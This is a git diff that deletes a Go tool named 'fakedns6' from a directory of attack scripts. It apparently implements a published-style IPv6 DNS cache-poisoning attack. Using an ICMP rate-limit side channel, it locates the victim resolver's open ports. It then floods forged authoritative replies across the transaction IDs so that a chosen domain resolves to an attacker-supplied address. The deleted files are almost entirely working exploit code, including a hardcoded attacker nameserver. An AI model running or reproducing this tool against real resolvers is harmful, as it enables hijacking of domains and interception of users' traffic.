deleted file mode 100644 index 6cc6f87..0000000 --- "a/att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/attack.go" +++ /dev/null @@ -1,685 +0,0 @@ -package main - -import ( - "flag" - "fmt" - "github.com/google/gopacket" - "log" - "math/rand" - "net" - "os" - "strconv" - "sync" - "time" - - "github.com/google/gopacket/layers" - "github.com/google/gopacket/pcap" - "github.com/google/gopacket/routing" -) - -var handle *pcap.Handle -var ethernetLayer *layers.Ethernet -var victimDNSName string -var dnsQueryName string -var authIP net.IP -var resolverIP net.IP -var localIP []net.IP -var defaultJitter uint -var gotReply = false -var attackerControlledDomain string -var attackForwarder bool -var repeatTimes int -var timeGap uint -var attTargetAddr string -var soaName string - -var jitter uint = 10 -var rtt uint = 1 // in ms -var debugOutput = true - -const GROUP_SIZE = 50 - -/* I'm not sure what's this used for. Probably used with older version where multiple IPs is not supported. */ -//var sendingChannel chan *outgoingPacket -var backendResolvers = make([]*backendResolver, 0) -var bruteForceShouldBeKilled = false - -type backendResolver = struct { - resolverBackendIP net.IP - - // [端口组ID][端口] - groups [][]uint16 // = make([][]uint16, 65536) - groupIDCounter uint32 // = 3 - groupIDCounterLock *sync.Mutex - groupSendTime []time.Time // = make([]time.Time, 65536) - - probeChannel chan uint32 //= make(chan uint16, 655) - priorityProbeChannel chan uint32 //= make(chan uint16, 655) - alwaysOpenPorts []bool //= make([]bool, 65536) - - perIPLimitCounter []int //= 6 - - networkXmitLock *sync.Mutex -} - -// timeout in ms, 持续触发查询请求 -func dnsRequestSender(timeout uint) { - for { - gotReply = false - sendDNSRequest(uint16(rand.Uint32()), dnsQueryName) - retryTimes := timeout / 500 - for { - if !gotReply { - time.Sleep(500 * time.Millisecond) - retryTimes-- - if retryTimes == 0 { - break - } - } else { - if debugOutput { - fmt.Println("接收到响应 ", timeout-retryTimes*500, "ms") - } else { - fmt.Println("Rx") - } - break - } - } - if !attackForwarder { - //dnsQueryName = strconv.Itoa(rand.Int()) + "." + victimDNSName - dnsQueryName = victimDNSName - } else { - /* I'm not sure if we should change the nonce. */ - dnsQueryName = strconv.Itoa(rand.Int()) + "." + attackerControlledDomain - } - } -} - -func receivingThread() { - for { - data, captureInfo, err := handle.ReadPacketData() - if err == pcap.NextErrorTimeoutExpired { - continue - } else if err != nil { - log.Printf("error reading packet: %v", err) - continue - } - - // Parse the packet. We'd use DecodingLayerParser here if we - // wanted to be really fast. - packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy) - - // Find the packets we care about, and print out logging - // information about them. All others are ignored. - if rspNet := packet.NetworkLayer(); rspNet == nil { - continue - } else if rspIPLayer := packet.Layer(layers.LayerTypeIPv6); rspIPLayer == nil { - continue - //} else if rspIP := rspIPLayer.(*layers.IPv4); rspIP == nil { - } else if rspIP := rspIPLayer.(*layers.IPv6); rspIP == nil { - continue - } else if rspIP.NextHeader != layers.IPProtocolICMPv6 { - if rspIP.FlowLabel != 2 && rspIP.NextHeader == layers.IPProtocolUDP && compareIPv6Addr(rspIP.SrcIP, resolverIP) == 0 { - rspUDPLayer := packet.Layer(layers.LayerTypeUDP) - if rspUDPLayer != nil && rspUDPLayer.(*layers.UDP).SrcPort == 53 { - rspDNSLayer := packet.Layer(layers.LayerTypeDNS) - if rspDNSLayer != nil { - rspDNS := rspDNSLayer.(*layers.DNS) - if rspDNS.QR == true { - if len(rspDNS.Authorities) != 0 && rspDNS.ResponseCode == layers.DNSResponseCodeNXDomain && string(rspDNS.Questions[0].Name) == dnsQueryName && - string(rspDNS.Authorities[0].Name) == victimDNSName && string(rspDNS.Authorities[0].SOA.MName) == soaName { - fmt.Println("Success!!") - os.Exit(0) - } else if string(rspDNS.Questions[0].Name) == dnsQueryName && rspDNS.ResponseCode == layers.DNSResponseCodeNoErr { - for _, record := range rspDNS.Answers { - if record.Type == layers.DNSTypeAAAA { - fmt.Println("AAAA记录修改成功!!") - os.Exit(0) - } - } - } else if string(rspDNS.Questions[0].Name) == dnsQueryName { - gotReply = true - } - } - } - } - } - continue - } else if rspICMPLayer := packet.Layer(layers.LayerTypeICMPv6); rspICMPLayer == nil { - continue - } else if rspICMP, ok := rspICMPLayer.(*layers.ICMPv6); !ok { - continue - } else if rspICMP.TypeCode != layers.CreateICMPv6TypeCode(layers.ICMPv6TypeDestinationUnreachable, layers.ICMPv6CodePortUnreachable) && - rspICMP.TypeCode != layers.CreateICMPv6TypeCode(layers.ICMPv6TypeDestinationUnreachable, layers.ICMPv6CodeAdminProhibited) { - continue - } else if nestedIpData := rspICMP.Payload; nestedIpData == nil { - continue - } else if nestedIpPacket := gopacket.NewPacket(nestedIpData, layers.LayerTypeIPv6, gopacket.NoCopy); nestedIpPacket == nil { - continue - } else if nestedIpLayer := nestedIpPacket.Layer(layers.LayerTypeIPv6); nestedIpLayer == nil { - continue - } else if nestedIp := nestedIpLayer.(*layers.IPv6); nestedIp == nil { - continue - } else { - r := getBackendResolver(nestedIp.DstIP) - if r != nil { - - nestedUDPLayer := nestedIpPacket.Layer(layers.LayerTypeUDP) - if nestedUDPLayer == nil { - fmt.Println("nestedUDPLayer == nil") - continue - } - nestedUDP := nestedUDPLayer.(*layers.UDP) - if nestedUDP == nil { - fmt.Println("nestedUDP == nil") - continue - } - - //got verification packet back - if nestedIp.FlowLabel > 1 { - //update rtt - /* Potential BUG: rtt of both resolver may not be the same. */ - newrtt := captureInfo.Timestamp.Sub(r.groupSendTime[nestedIp.FlowLabel]).Nanoseconds()/1000000 + 1 - if newrtt >= 0 && newrtt < 5000 { - var draftJitter uint = 0 - if uint(newrtt) > rtt { - draftJitter = uint(newrtt) - rtt - } else { - draftJitter = (jitter + (rtt - uint(newrtt))) / 2 - } - if jitter > 30 { - fmt.Println("Jitter > 30ms!") - jitter = 10 - } else { - jitter = draftJitter - } - rtt = uint(newrtt) - if debugOutput { - fmt.Println("rtt=", rtt, ", jitter=", jitter) - } - } else { - fmt.Println("newrtt error:", newrtt) - } - //reduce ratelimit counter - localIPNum := getLocalIPNum(nestedIp.SrcIP) - if localIPNum != -1 { - if r.perIPLimitCounter[localIPNum] >= 0 { - r.perIPLimitCounter[localIPNum]-- - } - if r.perIPLimitCounter[localIPNum] < 0 { - if debugOutput { - /* This may happen in real attacks. Don't panic :). */ - fmt.Println(r.resolverBackendIP, "bug: perIPLimitCounter < 0") - } - } - if debugOutput { - fmt.Println(r.resolverBackendIP, "remaining counter:", localIPNum, r.perIPLimitCounter[localIPNum]) - } - } else { - if debugOutput { - fmt.Println("received unwanted ICMP for", nestedIp.SrcIP) - } - } - //process the packet - binarySearch(r, nestedIp.FlowLabel) - } - } - } - } -} - -func binarySearch(r *backendResolver, flowlabel uint32) { - groupLen := 0 - group := r.groups[flowlabel] - - for _, port := range group { - if port != 65535 { - groupLen++ - } else { - break - } - } - - if groupLen == 1 { - //brute force - r.networkXmitLock.Lock() - fmt.Println("猜测开放端口为: " + strconv.Itoa(int(group[0]))) - dnsBruteForce(group[0], timeGap, r.resolverBackendIP, attTargetAddr) - r.networkXmitLock.Unlock() - r.alwaysOpenPorts[group[0]] = true - } else if groupLen > 1 { - var repeatTimes1 int - if repeatTimes > 1 { - repeatTimes1 = repeatTimes + 1 - } else { - repeatTimes1 = 1 - } - for j := 0; j < repeatTimes1; j++ { - //二分法定位开放端口 - //left - id := allocateGroupID(r) - r.groups[id] = make([]uint16, groupLen/2) - copy(r.groups[id], group[0:groupLen/2]) - for len(r.groups[id]) < GROUP_SIZE { - r.groups[id] = append(r.groups[id], 65535) - } - if debugOutput { - fmt.Println(r.resolverBackendIP, "bs", r.groups[id][0], "+", groupLen/2) - } else { - fmt.Println("Found something interesting!") - } - r.priorityProbeChannel <- flowlabel - - //right - id = allocateGroupID(r) - r.groups[id] = make([]uint16, groupLen-groupLen/2) - copy(r.groups[id], group[groupLen/2:groupLen]) - for len(r.groups[id]) < GROUP_SIZE { - r.groups[id] = append(r.groups[id], 65535) - } - //fmt.Println(r.resolverBackendIP, "bsr", r.groups[id][0], "+", groupLen-groupLen/2) - r.priorityProbeChannel <- flowlabel - } - } else { - if debugOutput { - fmt.Println(r.resolverBackendIP, "bug: groupLen <= 0, id=", flowlabel) - for _, port := range group { - fmt.Print(port) - } - } - } -} - -func perIPLimitRecover(r *backendResolver, num int) { - for { - if r.perIPLimitCounter[num] < 6 { - time.Sleep(time.Second + (time.Duration(defaultJitter)+50)*time.Millisecond) - r.perIPLimitCounter[num]++ - } else { - time.Sleep((time.Duration(defaultJitter) + 1) * time.Millisecond) - } - } -} - -func probeSender(r *backendResolver) { - for { - - var flow uint32 - select { - case flow = <-r.priorityProbeChannel: - break - case flow = <-r.probeChannel: - break - //default: - // time.Sleep(time.Microsecond) - } - - // 当所有IP都测试过且端口组中只有一个端口时,进行TXID暴力破解 - if getIPwithAvailableCounter(r) == nil && r.groups[flow][1] == 65535 { - //brute force - fmt.Println("猜测开放端口为:" + strconv.Itoa(int(r.groups[flow][0]))) - fmt.Println("开始爆破事务ID") - r.networkXmitLock.Lock() - dnsBruteForce(r.groups[flow][0], timeGap, r.resolverBackendIP, attTargetAddr) - r.networkXmitLock.Unlock() - r.alwaysOpenPorts[r.groups[flow][0]] = true - continue - } - // 测试每个IP的速率限制 - var verifyIP net.IP - for { - verifyIP = getIPwithAvailableCounter(r) - if verifyIP == nil { - time.Sleep(time.Millisecond) - } else { - break - } - } - - //send - ports := r.groups[flow] - r.networkXmitLock.Lock() - for i := 0; i < GROUP_SIZE; i++ { - if defaultJitter <= 3 { - if attackForwarder { - xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), flow, 100) - } else { - xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), flow, 1) - } - } else { - xmitUDPv6(authIP, r.resolverBackendIP, 53, layers.UDPPort(ports[i]), flow, 0) - } - } - time.Sleep(time.Duration(defaultJitter) * time.Millisecond) - // 验证 - xmitUDPv6(verifyIP, r.resolverBackendIP, 53, 65535, flow, 10) - r.groupSendTime[flow] = time.Now() - if rand.Uint32()%100 < 2 { - if debugOutput { - fmt.Println("目标"+r.resolverBackendIP.String(), "探测中", "当前端口范围"+strconv.Itoa(int(ports[0]))+"~~"+strconv.Itoa(int(ports[0]+49))) - } else { - fmt.Println("开放端口猜测中,请稍后...") - } - } - - // 等待全局计数器恢复 - if !attackForwarder { - time.Sleep(time.Duration(60-defaultJitter) * time.Millisecond) - } else { - /* IDK why I wrote this line. Forwarders should be the same as resolvers if they support global rate limit. */ - time.Sleep(time.Duration(60) * time.Millisecond) - } - r.networkXmitLock.Unlock() - } -} - -// 划分端口 -func portGroupFormer(r *backendResolver, startPort uint, endPort uint) { - for { - //divide into groups - var id uint32 = 0 - var currentGroupSize = 0 - - for i := startPort; i <= endPort; i++ { - // 端口不太可能用于进一步的查询。但这仍然是可能的。如果觉得端口重用不太可能发生,请在这里取消注释 - if r.alwaysOpenPorts[i] { - continue - } - if currentGroupSize%GROUP_SIZE == 0 { - if id != 0 { - r.probeChannel <- id - for j := 1; j < repeatTimes; j++ { - //dup - previd := id - id = allocateGroupID(r) - r.groups[id] = make([]uint16, len(r.groups[previd])) - copy(r.groups[id], r.groups[previd]) - r.probeChannel <- id - } - } - - id = allocateGroupID(r) - r.groups[id] = make([]uint16, 0) - } - - r.groups[id] = append(r.groups[id], uint16(i)) - currentGroupSize++ - } - - //deal with last several cases - if /*len(r.groups[id]) != 50 &&*/ len(r.groups[id]) != 0 { - for len(r.groups[id]) != 50 && len(r.groups[id]) != 0 { - r.groups[id] = append(r.groups[id], 65535) - } - - r.probeChannel <- id - - for j := 1; j < repeatTimes; j++ { - //dup - previd := id - id = allocateGroupID(r) - r.groups[id] = make([]uint16, len(r.groups[previd])) - copy(r.groups[id], r.groups[previd]) - r.probeChannel <- id - } - } - } -} - -func main() { - - /* This program only finds & injects DNS responses automatically. Additional authoritative server muting/flooding scripts are needed. */ - /* IPv4 is not supported yet. */ - /* Use "-h to get usage. " */ - /* Attaching PoC? */ - /* Add Paper Bio? */ - ifaceName := flag.String("i", "vmnet1", "Interface for attacking. Multiple interfaces are not supported. Multiple IPs per interface is supported.") - /* If automatic MAC address discovery doesn't work. consider enable this option and feed it to the MAC field. */ - // gateWayMacStr := flag.String("g", "00:11:22:33:44:55", "Gateway Mac") - authServer := flag.String("a", "", "Authoritative server for the domain to be poisoned.") - resolver := flag.String("r", "8.8.8.8", "Front-end IP of the victim resolver.") - resolverBackend := flag.String("b", "", "Back-end IP of the victim resolver.") - resolverBackendList := flag.String("bn", "", "Back-end IP list of the victim resolver. One per line. This would overwrite \"-b\" and is used when the server has multiple backend IPs.") - startPort := flag.Uint("s", 1, "Lowest port # for the port scan range, inclusive.") - endPort := flag.Uint("e", 65534, "Highest port # for the port scan range, inclusive.") - victimDNSName := flag.String("n", "", "The domain name to be poisoned.") - dnsQueryTimeout := flag.Uint("t", 4000, "Timeout in ms for outgoing dns queries to the victim resolver. Should be aligned with the resolver's timeout (e.g., BIND is 10000ms by default).") - defaultJitter := flag.Uint("j", 5, "Time gap between verification packet and the latest probe packet in a group. Increase the value if Jitter is increased.") - repeatTimes := flag.Int("R", 1, "Retransmit/Reprobe a group of ports for X times to reduce FNs.") - timeGap := flag.Uint("tg", 0, "Time gap is us(microseconds) between the TxID brute force packets.") - attTargetAddr := flag.String("ad", "", "想要篡改实现的结果") - debugOutput := flag.Bool("d", false, "调试输出模式.") - attackerMaliciousDomain := flag.String("f", "", "Attacker controlled domain used in the forwarder attack, this will enable the forwarder attack mode.") - soaName = *flag.String("soa", "", "SOA name of the victim domain on attacker-controlled name server used to indicate the resolver has been poisoned. (Resolver attack only.)") - - flag.Parse() - fmt.Println("侧信道脚本工作参数:") - fmt.Println("\t网络接口:" + *ifaceName) - fmt.Println("\t目标域名权威服务器地址:" + *authServer) - fmt.Println("\t目标服务器地址:" + *resolverBackend) - fmt.Println("\t目标域名:" + *victimDNSName) - fmt.Println("\t预期修改结果:" + *attTargetAddr) - //gatewayMac, _ := net.ParseMAC(*gateWayMacStr) - Main(*ifaceName, net.ParseIP(*authServer), net.ParseIP(*resolver), net.ParseIP(*resolverBackend), *startPort, *endPort, *victimDNSName, *dnsQueryTimeout, *defaultJitter, - *attackerMaliciousDomain, *resolverBackendList, *debugOutput, *repeatTimes, *timeGap, *attTargetAddr, soaName) - os.Exit(0) -} - -func Main(ifaceName string, authIPArg net.IP, resolverIPArg net.IP, resolverBackendIPArg net.IP, startPort uint, endPort uint, victimDNSNameArg string, dnsQueryTimeout uint, - defaultJitterArg uint, attackerMaliciousDomainArg string, resolverBackendList string, debugOutputArg bool, repeatTimesArg int, timeGapArg uint, attTargetAddrArg string, - soaNameArg string) { - rand.Seed(time.Now().UnixNano()) - - handle, _ = pcap.OpenLive( - ifaceName, - 65536, - true, - pcap.BlockForever, - ) - err := handle.SetBPFFilter("not host " + authIPArg.To16().String()) - if err != nil { - fmt.Println("cannot set BPF filter.") - } - - iface, err := net.InterfaceByName(ifaceName) - if err != nil { - fmt.Println("cannot open network interface") - os.Exit(1) - } - // 是否攻击转发器 - if attackerMaliciousDomainArg != "" { - attackForwarder = true - fmt.Println("转发器攻击模式!") - attackerControlledDomain = attackerMaliciousDomainArg - } - - // 参数赋值 - authIP = authIPArg - resolverIP = resolverIPArg - victimDNSName = victimDNSNameArg - debugOutput = debugOutputArg - timeGap = timeGapArg - attTargetAddr = attTargetAddrArg - soaName = soaNameArg - - localIP, _ = GetIfaceAddrMulti(iface) - nonce := strconv.Itoa(rand.Int()) - - if !attackForwarder { - //dnsQueryName = nonce + "." + victimDNSName - dnsQueryName = victimDNSName - } else { - dnsQueryName = nonce + "." + attackerControlledDomain - } - - defaultJitter = defaultJitterArg - repeatTimes = repeatTimesArg - - if resolverBackendList != "" { - file, err := os.Open(resolverBackendList) - if err != nil { - fmt.Println(err) - os.Exit(10) - } - for { - var resolverIP string - n, err := fmt.Fscanf(file, "%s", &resolverIP) - if n <= 0 || err != nil { - break - } - backendResolvers = append(backendResolvers, backendResolverBuilder(net.ParseIP(resolverIP))) - } - } else { - //r1 shouldn't be nil - r1 := backendResolverBuilder(resolverBackendIPArg) - backendResolvers = append(backendResolvers, r1) - } - - //figure out MAC address - //test if it's in LAN first - // dstMac, err := GetGatewayAddr(iface, handle, backendResolvers[0].resolverBackendIP.To16()) - gwIP, err := getv6Gateway() - dstMac, err := getGatewayV6Mac(ifaceName, gwIP) - if err == nil { - ethernetLayer = &layers.Ethernet{ - SrcMAC: iface.HardwareAddr, - DstMAC: dstMac, - //EthernetType: layers.EthernetTypeIPv4, - EthernetType: layers.EthernetTypeIPv6, - } - fmt.Println("\t目的Mac地址为:", dstMac) - } else { - //query routing table - router, err := routing.New() - if err != nil { - fmt.Println(err) - os.Exit(4) - } - _, nextHopIP, _, err := router.Route(backendResolvers[0].resolverBackendIP) - if err != nil { - fmt.Println(err) - os.Exit(5) - } - dstMac, err := GetGatewayAddr(iface, handle, nextHopIP.To16()) - if err != nil { - fmt.Println(err) - os.Exit(6) - } - fmt.Println("MAC:", dstMac) - ethernetLayer = &layers.Ethernet{ - SrcMAC: iface.HardwareAddr, - DstMAC: dstMac, - //EthernetType: layers.EthernetTypeIPv4, - EthernetType: layers.EthernetTypeIPv6, - } - } - - // 开启接收线程,处理响应包判断攻击状态 - go receivingThread() - - for i, ip := range localIP { - // 只使用公网IP - if !ip.IsLoopback() { - if debugOutput { - fmt.Println("可用 IP", ip) - } - for _, r := range backendResolvers { - go perIPLimitRecover(r, i) - } - } - } - // 发送dns查询请求,触发端口开放 - go dnsRequestSender(dnsQueryTimeout) - - for _, r := range backendResolvers { - // 猜测端口 - go probeSender(r) - // 端口范围组合 - go portGroupFormer(r, startPort, endPort) - time.Sleep(25 * time.Millisecond) - } - - time.Sleep(999 * time.Hour) - -} - -func allocateGroupID(r *backendResolver) uint32 { - r.groupIDCounterLock.Lock() - id := r.groupIDCounter - r.groupIDCounter++ - if r.groupIDCounter == 0 { - r.groupIDCounter = 3 - } - r.groupIDCounterLock.Unlock() - return id -} - -func getBackendResolver(resolverIP net.IP) *backendResolver { - for _, r := range backendResolvers { - if compareIPv6Addr(r.resolverBackendIP, resolverIP) == 0 { - return r - } - } - return nil -} - -func lockNetwork() { - for _, r := range backendResolvers { - r.networkXmitLock.Lock() - } -} - -func unlockNetwork() { - for _, r := range backendResolvers { - r.networkXmitLock.Unlock() - } -} - -func getLocalIPNum(ip net.IP) int { - for i, localip := range localIP { - if compareIPv6Addr(localip, ip) == 0 { - return i - } - } - return -1 -} - -func backendResolverBuilder(backendIP net.IP) *backendResolver { - - if backendIP == nil { - return nil - } - temp := backendResolver{ - resolverBackendIP: backendIP, - groups: make([][]uint16, 65536), - groupIDCounter: 3, - groupIDCounterLock: &sync.Mutex{}, - groupSendTime: make([]time.Time, 65536), - probeChannel: make(chan uint32, 655), - priorityProbeChannel: make(chan uint32, 655), - alwaysOpenPorts: make([]bool, 65536), - perIPLimitCounter: make([]int, len(localIP)), - networkXmitLock: &sync.Mutex{}, - } - for i := range temp.perIPLimitCounter { - temp.perIPLimitCounter[i] = 6 - } - for i := 0; i < 65536; i++ { - temp.alwaysOpenPorts[i] = false - } - temp.alwaysOpenPorts[53] = true - temp.alwaysOpenPorts[0] = true - temp.alwaysOpenPorts[65535] = true - return &temp - -} - -// distribute verification to multiple IPs evenly -func getIPwithAvailableCounter(r *backendResolver) net.IP { - seed := rand.Int() % len(localIP) - for i := 0; i < len(localIP); i++ { - if r.perIPLimitCounter[(i+seed)%len(localIP)] > 0 { - return localIP[(i+seed)%len(localIP)] - } - } - return nil -} diff --git "a/att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/dns.go" "b/att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/dns.go" deleted file mode 100644 index c29f9f9..0000000 --- "a/att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/dns.go" +++ /dev/null @@ -1,261 +0,0 @@ -package main - -import ( - "fmt" - "math/rand" - "net" - "time" - - "github.com/google/gopacket/layers" -) - -var bruteForceCouldBeKilled bool - -func sendDNSRequest(id uint16, name string) { - if debugOutput { - fmt.Println("Send new DNS request", name, id) - } - _sendDNSRequest(id, name, localIP[0], resolverIP, (layers.UDPPort)(rand.Uint32()), 53) -} - -func _sendDNSRequest(id uint16, name string, src net.IP, dst net.IP, sport layers.UDPPort, dport layers.UDPPort) { - ipLayer := layers.IPv6{ - FlowLabel: 1, - SrcIP: src, - DstIP: dst, - Version: 6, - HopLimit: 64, - NextHeader: layers.IPProtocolUDP, - //Flags: layers.IPv4DontFragment, - } - udpLayer := layers.UDP{ - SrcPort: sport, - DstPort: dport, - } - dnsLayer := layers.DNS{ - ID: id, - QR: false, - OpCode: 0, - AA: false, - TC: false, - RD: true, - RA: false, - Z: 0, - ResponseCode: 0, - QDCount: 1, - ANCount: 0, - NSCount: 0, - ARCount: 0, - Questions: []layers.DNSQuestion{{ - Name: []byte(name), - Type: layers.DNSTypeAAAA, - Class: layers.DNSClassIN, - }}, - Authorities: nil, - Additionals: nil, - } - err := udpLayer.SetNetworkLayerForChecksum(&ipLayer) - if err != nil { - fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go pos 0 error", err) - } - err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer) - if err != nil { - fmt.Println("can not send packet @ sendDNSRequest: ", err) - } -} - -func bruteForceTerminatingTimer(timegap uint) { - time.Sleep(time.Duration(timegap) * time.Millisecond) - bruteForceCouldBeKilled = true -} - -func dnsBruteForce(targetPort uint16, timegap uint, resolverBackendIP net.IP, attTargetAddr string) { - bruteForceShouldBeKilled = true - bruteForceCouldBeKilled = false - ipLayer := layers.IPv6{ - FlowLabel: 2, - SrcIP: authIP, - DstIP: resolverBackendIP, - Version: 6, - HopLimit: 64, - NextHeader: layers.IPProtocolUDP, - //Flags: layers.IPv4DontFragment, - } - udpLayer := layers.UDP{ - SrcPort: 53, - DstPort: layers.UDPPort(targetPort), - } - dnsLayer := layers.DNS{ - ID: 0, - QR: true, - OpCode: 0, - AA: true, - TC: false, - RD: false, - RA: false, - Z: 0, - ResponseCode: layers.DNSResponseCodeNoErr, - } - - if !attackForwarder { - dnsLayer.Questions = []layers.DNSQuestion{{ - Name: []byte(dnsQueryName), - Type: layers.DNSTypeAAAA, - Class: layers.DNSClassIN, - }} - // 原方案:将域名NS篡改到attacker的服务器上 - //dnsLayer.Authorities = []layers.DNSResourceRecord{{ - // Name: []byte(victimDNSName), - // Type: layers.DNSTypeNS, - // Class: layers.DNSClassIN, - // TTL: 300, - // IP: nil, - // NS: []byte(auxDomain), - // CNAME: nil, - // PTR: nil, - // TXTs: nil, - // SOA: layers.DNSSOA{}, - // SRV: layers.DNSSRV{}, - // MX: layers.DNSMX{}, - // OPT: nil, - // TXT: nil, - //}} - //dnsLayer.Answers = nil - //dnsLayer.Additionals = nil - dnsLayer.Authorities = []layers.DNSResourceRecord{{ - Name: []byte(dnsQueryName), - Type: layers.DNSTypeNS, - Class: layers.DNSClassIN, - TTL: 300, - IP: nil, - // 暂时写死 - NS: []byte("nsv6.n64.top"), - CNAME: nil, - PTR: nil, - TXTs: nil, - SOA: layers.DNSSOA{}, - SRV: layers.DNSSRV{}, - MX: layers.DNSMX{}, - OPT: nil, - TXT: nil, - }} - dnsLayer.Answers = []layers.DNSResourceRecord{{ - Name: []byte(dnsQueryName), - Type: layers.DNSTypeAAAA, - Class: layers.DNSClassIN, - TTL: 300, - /* Fill with any IP you want. The victim domain will be hijacked to this IP. */ - IP: net.ParseIP(attTargetAddr), - NS: nil, - CNAME: nil, - PTR: nil, - TXTs: nil, - SOA: layers.DNSSOA{}, - SRV: layers.DNSSRV{}, - MX: layers.DNSMX{}, - OPT: nil, - TXT: nil, - }} - dnsLayer.Additionals = nil - } else { - /* Change these flags accordingly to the request sent by the resolver. */ - dnsLayer.AA = false - dnsLayer.RD = true - dnsLayer.RA = true - dnsLayer.Questions = []layers.DNSQuestion{{ - Name: []byte(dnsQueryName), - Type: layers.DNSTypeAAAA, - Class: layers.DNSClassIN, - }} - dnsLayer.Answers = []layers.DNSResourceRecord{{ - Name: []byte(dnsQueryName), - Type: layers.DNSTypeCNAME, - Class: layers.DNSClassIN, - TTL: 300, - IP: nil, - NS: nil, - CNAME: []byte(victimDNSName), - PTR: nil, - TXTs: nil, - SOA: layers.DNSSOA{}, - SRV: layers.DNSSRV{}, - MX: layers.DNSMX{}, - OPT: nil, - TXT: nil, - }, { - Name: []byte(victimDNSName), - Type: layers.DNSTypeAAAA, - Class: layers.DNSClassIN, - TTL: 300, - /* Fill with any IP you want. The victim domain will be hijacked to this IP. */ - IP: net.ParseIP(attTargetAddr), - NS: nil, - CNAME: nil, - PTR: nil, - TXTs: nil, - SOA: layers.DNSSOA{}, - SRV: layers.DNSSRV{}, - MX: layers.DNSMX{}, - OPT: nil, - TXT: nil, - }} - } - - err := udpLayer.SetNetworkLayerForChecksum(&ipLayer) - if err != nil { - fmt.Println("udpLayer.SetNetworkLayerForChecksum @ dns.go error", err) - } - if debugOutput { - fmt.Println("DNS BruteForce: ", targetPort) - } - - startTime := time.Now() - var txid uint16 - //try to see if this port is open in reality - for txid = 0; txid < GROUP_SIZE*2; txid++ { - dnsLayer.ID = txid - err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer) - if err != nil { - fmt.Println("can not send packet @ sendDNSRequest pos 1: ", err) - } - time.Sleep(time.Duration(timegap) * time.Microsecond) - } - - /* This is used for early termination */ - //verification packet - //xmitUDPv6(localIP, resolverBackendIP, layers.UDPPort(targetPort), 65535, 2, 0) - //go bruteForceTerminatingTimer( /*jitter + defaultJitter*/ defaultJitter + 60) - - //continue brute force - for txid = GROUP_SIZE * 2; txid < 0xffff; txid++ { - /* This is used for early termination */ - //if bruteForceCouldBeKilled && bruteForceShouldBeKilled { - // fmt.Println("DNS Brute force aborted") - // break - //} - dnsLayer.ID = txid - err := Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer) - if err != nil { - fmt.Println("can not send packet @ DNSBruteForce: ", err) - } - if timegap != 0 { - time.Sleep(time.Duration(timegap) * time.Microsecond) - } - } - - //0xffff is missing from packet trace - /* This is used for early termination */ - //if !bruteForceShouldBeKilled { - dnsLayer.ID = 0xffff - err = Send(handle, ethernetLayer, &ipLayer, &udpLayer, &dnsLayer) - if err != nil { - fmt.Println("can not send packet @ DNSBruteForce pos 2: ", err) - } - //} - if debugOutput { - fmt.Println("time: ", time.Now().Sub(startTime)) - } - - //help to recover the global counter - time.Sleep(time.Duration(60+ /*jitter + defaultJitter*/ defaultJitter) * time.Millisecond) -} diff --git "a/att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/go.mod" "b/att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/go.mod" deleted file mode 100644 index 4baf665..0000000 --- "a/att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/go.mod" +++ /dev/null @@ -1,15 +0,0 @@ -module fakedns6 - -go 1.20 - -require ( - github.com/google/gopacket v1.1.19 - github.com/miekg/dns v1.1.57 -) - -require ( - golang.org/x/mod v0.12.0 // indirect - golang.org/x/net v0.17.0 // indirect - golang.org/x/sys v0.13.0 // indirect - golang.org/x/tools v0.13.0 // indirect -) diff --git "a/att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/go.sum" "b/att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/go.sum" deleted file mode 100644 index 5ab4292..0000000 --- "a/att script/5(v6\346\263\250\345\205\245)/code/src/fakedns6/go.sum" +++ /dev/null @@ -1,25 +0,0 @@ -github.com/google/gopacket v1.1.19 h1:ves8RnFZPGiFnTS0uPQStjwru6uO6h+nlr9j6fL7kF8= -github.com/google/gopacket v1.1.19/go.mod h1:iJ8V8n6KS+z2U1A8pUwu8bW5SyEMkXJB8Yo/Vo+TKTo= -github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM= -github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk= -golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= -golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/lint v0.0.0-20200302205851-738671d3881b/go.mod h1:3xt1FjdF8hUf6vQPIChWIBhFzV8gjjsPE/fR3IyQdNY= -golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= -golang.org/x/mod v0.12.0 h1:rmsUpXtvNzj340zd98LZ4KntptpfRHwpFOHG188oHXc= -golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= -golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.17.0 h1:pVaXccu2ozPjCXewfr1S7xza/zcXTity9cCdXQYSjIM= -golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= -golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod 